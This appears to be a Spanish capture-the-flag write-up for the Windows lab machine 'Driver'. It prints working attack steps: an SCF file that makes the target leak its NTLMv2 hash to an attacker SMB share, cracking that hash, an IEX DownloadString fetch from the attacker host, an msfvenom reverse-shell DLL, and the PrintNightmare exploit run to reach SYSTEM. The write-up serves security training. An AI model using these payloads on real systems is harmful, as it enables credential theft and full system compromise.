Driver
5 minutos de lectura
- SO: Windows
- Dificultad: Fácil
- Dirección IP: 10.10.11.106
- Fecha: 02 / 10 / 2021
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.106 -p 80,135,445,5985
Nmap scan report for 10.10.11.106
Host is up (0.065s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=MFP Firmware Update Center. Please enter password for admin
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc?
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date:
|_ start_date:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 52.40 seconds
Esta máquina tiene abiertos los puertos 80 (HTTP), 135 (MS-RPC), 445 (SMB) y 5985 (WinRM).
$ crackmapexec smb 10.10.11.106
SMB 10.10.11.106 445 DRIVER [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
Enumeración
Si vamos a http://10.10.11.106
, la web solicita autenticación:
Si probamos algunas credenciales por defecto (como admin:admin
o user:password
) vemos que admin:admin
funciona:
Acceso a la máquina
Aquí encontramos una subida de archivos para el firmware de una impresora:
La página dice que alguien revisará los archivos subidos de manera manual.
Ataque SCF
La idea aquí es subir un archivo SCF (Shell Command File). Este es un tipo de archivo especial en Windows que puede ejecutar algunos comandos (por ejemplo, abrir el escritorio o el explorador de archivos).
Podemos capturar el hash NTLMv2 utilizando impacket-smbserver
o responder
si le decimos a Windows que el icono del archivo se encuentra en una carpeta compartida por SMB.
Por tanto, este es el archivo SCF (más información en pentesterlab.blog):
[Shell]
Command = 2
IconFile = "\\10.10.17.44\smbFolder\test.ico"
[Taskbar]
Command = "ToggleDesktop"
Ahora iniciamos un servidor SMB con impacket-smbserver
:
$ impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Y cuando subimos el archivo, capturamos el hash NTLMv2 de la autenticación por SMB contra nuestra máquina de atacante:
[*] Incoming connection (10.10.11.106,49519)
[*] AUTHENTICATE_MESSAGE (DRIVER\tony,DRIVER)
[*] User DRIVER\tony authenticated successfully
[*] tony::DRIVER:aaaaaaaaaaaaaaaa:5fbf672174a15ff654e2eb36ca408e50:010100000000000080393ee6082bd8014780fc0726c068f2000000000100100047004a006f0062006b004b0071004b000300100047004a006f0062006b004b0071004b000200100068007a004f004f0070007a0053004a000400100068007a004f004f0070007a0053004a000700080080393ee6082bd801060004000200000008003000300000000000000000000000002000006b26bbc466c417cdcf93367aee630e754d28aa6a1d925888d3eaa1a947cb84650a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310037002e0034003400000000000000000000000000
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:SMBFOLDER)
Los hashes NTLMv2 solamente son útiles para romperlos con john
o hashcat
mediante un ataque de diccionario para conseguir la contraseña (la técnica de Pass the Hash no es posible). Entonces, vamos a romperlo:
$ echo 'tony::DRIVER:aaaaaaaaaaaaaaaa:5fbf672174a15ff654e2eb36ca408e50:010100000000000080393ee6082bd8014780fc0726c068f2000000000100100047004a006f0062006b004b0071004b000300100047004a006f0062006b004b0071004b000200100068007a004f004f0070007a0053004a000400100068007a004f004f0070007a0053004a000700080080393ee6082bd801060004000200000008003000300000000000000000000000002000006b26bbc466c417cdcf93367aee630e754d28aa6a1d925888d3eaa1a947cb84650a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310037002e0034003400000000000000000000000000' > hash
$ john --wordlist=$WORDLISTS/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
liltony (tony)
1g 0:00:00:00 DONE 5.555g/s 172088p/s 172088c/s 172088C/s one2three..harlan
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Y ahora nos podemos conectar a la máquina a través de WinRM mediante evil-winrm
y capturar la flag user.txt
:
$ evil-winrm -i 10.10.11.106 -u tony -p liltony
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\tony\Documents> type ..\Desktop\user.txt
21c0d12a3a866ed742c6be523acf4f24
Escalada de privilegios
El nombre de la máquina, su imagen y la fecha de lanzamiento son pistas para saber qué vector de ataque utilizar. Vamos a explotar la cola de impresión utilizando PrintNightmare (CVE-2021-1675).
Para verificar que la máquina es vulnerable, podemos utilizar SpoolerScanner. Solamente tenemos que modificar el script de PowerShell y poner 10.10.11.106
como dirección IP y ejecutarlo desde PowerShell desde evil-winrm
:
*Evil-WinRM* PS C:\Users\tony\Documents> IEX(New-Object Net.WebClient).DownloadString('http://10.10.17.44/SpoolerScan.ps1')
True
Nos muestra que es vulnerable. Ahora podemos seguir los pasos para ejecutar PrintNightmare.
Explotación de PrintNightmare
El exploit requiere una versión específica de impacket
. Para ello, utilizaré entornos virtuales con Python (venv
) y así me evito desinstalar la versión impacket
por defecto. Estos son los comandos que seguí para configurar el entorno:
$ python3 -m venv PrintNightmare
$ cd PrintNightmare
$ source bin/activate
$ git clone https://github.com/cube0x0/impacket
$ cd impacket
$ pip3 install -r requirements.txt
$ python3 setup.py install
$ cd ..
Ahora tenemos que crear una DLL maliciosa para instalarla en la máquina. Podemos utilizar msfvenom
para ello:
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.17.44 LPORT=4444 -f dll -o rev.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes
Saved as: rev.dll
Luego podemos arrancar un servidor SMB para servir el archivo DLL:
$ impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Y ahora descargamos el exploit y lo ejecutamos con Python. Necesitamos indicarle el nombre del servidor (DRIVER
, mostrado en la salida de nmap
), las credenciales anteriores, la dirección IP y la ruta a la DLL maliciosa como recurso compartido por SMB:
$ wget https://raw.githubusercontent.com/cube0x0/CVE-2021-1675/main/CVE-2021-1675.py
$ python3 CVE-2021-1675.py DRIVER/tony:liltony@10.10.11.106 '\\10.10.17.44\smbFolder\rev.dll'
[*] Connecting to ncacn_np:10.10.11.106[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\10.10.17.44\smbFolder\rev.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
Vemos que recibimos una conexión en el servidor SMB:
[*] Incoming connection (10.10.11.106,49530)
[*] AUTHENTICATE_MESSAGE (\,DRIVER)
[*] User DRIVER\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
Y también una conexión como Administrator
utilizando nc
porque la DLL se ejecuta:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.106.
Ncat: Connection from 10.10.11.106:49531.
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
5408c0d30ba4747363d074210fa3e7f5